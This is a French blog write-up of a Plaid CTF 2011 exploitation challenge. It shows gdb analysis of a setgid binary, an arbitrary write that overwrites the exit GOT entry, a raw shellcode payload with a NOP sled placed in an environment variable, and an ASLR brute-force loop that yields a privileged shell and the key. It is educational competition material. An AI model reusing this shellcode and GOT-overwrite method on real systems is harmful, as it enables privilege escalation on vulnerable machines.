Skip navigation

Click here for english version
Ce week-end a eu lieu le Plaid CTF, fait par l’équipe Plaid Parliament of Pwning. Ça a été un de mes meilleurs CTF depuis bien longtemps, un grand merci à eux pour l’avoir fait. J’ai joué à ce CTF avec Zenk-Security, merci à eux aussi pour ce moment de rigolade. Ceci est mon write up pour l’épreuve 23, un binaire à exploiter.

L’intitulé est :
It seems like AED also has some plans to raise hacker force!
We found this binary as an exploitation practice program in the office, but they forgot to remove the setgid flag on the program.
So we can get the secret key!

Ok, allons-y.
exp_23@a5:~$ cd /opt/pctf/exploit/
exp_23@a5:/opt/pctf/exploit$ ls -l
total 8
-rwxr-sr-x 1 root expkey 3448 Apr 21 12:05 exploitMe
-rw-r----- 1 root expkey 27 Apr 21 12:06 key

Lançons le pour voir le nombre d’arguments ou autre chose…
exp_23@a5:/opt/pctf/exploit$ ./exploitMe
Regards, Dolan :}
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1
Regards, Dolan :}
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1
Regards, Dolan :}
exp_23@a5:/opt/pctf/exploit$ ./exploitMe 1 1 1
Segmentation fault

Je pense que c’est l’heure de sortir gdb. (J’utilise un .gdbinit fourni par https://www.reverse-engineering.net avant qu’ils ne ferment, un grand merci à eux. PS: il peut aussi être trouvé ici).

exp_23@a5:/opt/pctf/exploit$ gdb ./exploitMe
[...]
Reading symbols from /opt/pctf/exploit/exploitMe...(no debugging symbols found)...done.
gdb$ run 1 2 3
Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x00000003 EBX: 0x00000003 ECX: 0x00000001 EDX: 0x00000002 o d I t s z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFDEE6F8 ESP: 0xBFDEE660 EIP: 0x080485B2
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x80485b2: mov %edx,(%eax)
0x80485b4: movl $0x0,(%esp)
0x80485bb: call 0x8048434 <exit@plt>
0x80485c0: add $0x6c,%esp
0x80485c3: ret
0x80485c4: sub $0x2c,%esp
0x80485c7: mov $0x80486d3,%eax
0x80485cc: movl $0x5,0x8(%esp)
--------------------------------------------------------------------------------
0x080485b2 in ?? ()

Le mov où le segfault se produit est très intéressant. En effet, il écrit le contenu de %edx dans l'adresse pointée par %eax. Mais attendez... On contrôle %eax et %edx !
Vous voyez leurs valeurs ? Ils correspondent au troisième argument (pour %eax) et au deuxième argument (pour %edx). Mais ce n'est pas aussi simple. En effet le troisième argument doit être inférieur à 71 sinon le programme se termine. Impossible d'insérer une adresse complète en ayant moins de 71 comme valeur... Tentons autre chose.

gdb$ run $(perl -e 'print "A"x50 . "BBBB"') 31337 69

Program exited normally.
gdb$ run $(perl -e 'print "A"x55 . "BBBB"') 31337 69

Program exited normally.
gdb$ run $(perl -e 'print "A"x60 . "BBBB"') 31337 69

Program exited normally.
gdb$ run $(perl -e 'print "A"x64 . "BBBB"') 31337 69

Program received signal SIGSEGV, Segmentation fault.
--------------------------------------------------------------------------[regs]
EAX: 0x42424242 EBX: 0x00000045 ECX: 0x00000000 EDX: 0x00007A69 o d I t s z a P c
ESI: 0x00000000 EDI: 0x00000000 EBP: 0xBFA67E58 ESP: 0xBFA67DC0 EIP: 0x080485B2
CS: 0073 DS: 007B ES: 007B FS: 0000 GS: 0033 SS: 007B
--------------------------------------------------------------------------[code]
0x80485b2: mov %edx,(%eax)
0x80485b4: movl $0x0,(%esp)
0x80485bb: call 0x8048434 <exit@plt>
0x80485c0: add $0x6c,%esp
0x80485c3: ret
0x80485c4: sub $0x2c,%esp
0x80485c7: mov $0x80486d3,%eax
0x80485cc: movl $0x5,0x8(%esp)
--------------------------------------------------------------------------------
0x080485b2 in ?? ()

Gagné ! Maintenant souvenons nous que l'ASLR (randomization de l'adressage mémoire) et le bit NX (stack non exécutable) sont de la partie. Regardons ça :
0x80485bb: call 0x8048434 <exit@plt>
C'est seulement 2 instructions après celle qui segfault. Ça vous dis un petit ret2got un peu spécial ?

exp_23@a5:/opt/pctf/exploit$ objdump -d -j .plt ./exploitMe | grep exit -A4
08048434 <exit@plt>:
8048434: ff 25 f4 97 04 08 jmp *0x80497f4
804843a: 68 40 00 00 00 push $0x40
804843f: e9 60 ff ff ff jmp 80483a4 <__gmon_start__@plt-0x10>

On va réécrire la valeur à l'adresse 0x80497f4 pour qu'elle tombe sur l'adresse de notre shellcode.
Le shellcode sera en variable d'environnement et avec un joli tobogan de plus de 9000 NOP. (It's over 9000). Le shellcode drop un bash avec l'argument -p pour préserver l'euid.


export SCH=$(perl -e 'print "\x90"x10000 . "\xeb\x11\x5e\x31\xc9\xb1\x21\x80\x6c\x0e\xff\x01\x80\xe9\x01\x75\xf6\xeb\x05\xe8\xea\xff\xff\xff\x6b\x0c\x59\x9a\x53\x67\x69\x2e\x71\x8a\xe2\x53\x6b\x69\x69\x30\x63\x62\x74\x69\x30\x63\x6a\x6f\x8a\xe4\x53\x52\x54\x8a\xe2\xce\x81"')

L'adresse du shellcode est entre 0xbf800000 and 0xbfff-------- à cause de l'ASLR, utilisons 0xbfaa57dc comme adresse, c'est joli. En décimal cela donne 3215611868.

Maintenant que nous savons tout ça, bruteforçons un peu...

while true; do ./exploitMe $(perl -e 'print "A"x64 . "\xf4\x97\x04\x08"') 3215611868 69; done
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
Segmentation fault
[...]
Segmentation fault
Segmentation fault
bash-4.1$ id
uid=6023(exp_23) gid=1007(expusers) egid=1008(expkey) groups=1007(expusers)
bash-4.1$ cat key
K3Ys_t0_15_M1nUtEs_0f_F4mE

One Comment

  1. Merci pour le Writeup, je te décerne le titre de poney junior ;)


One Trackback/Pingback

  1. By pCTF 2011 | Les Tutos de Nico on 25 avr 2011 at 5:27

    [...] SHP – épreuve : SHA1 is fun Writeup Hydraze – épreuve : Exploit Me :p Writeup Nibbles – épreuve : Plain sight Writeup RajatSwarup – épreuve : Plain sight [...]

Laisser un commentaire

Votre adresse de messagerie ne sera pas publiée. Les champs obligatoires sont indiqués avec *

Vous pouvez utiliser ces balises et attributs HTML : <a href="" title=""> <abbr title=""> <acronym title=""> <b> <blockquote cite=""> <cite> <code> <del datetime=""> <em> <i> <q cite=""> <strike> <strong>

What is 8 + 3 ?
Please leave these two fields as-is: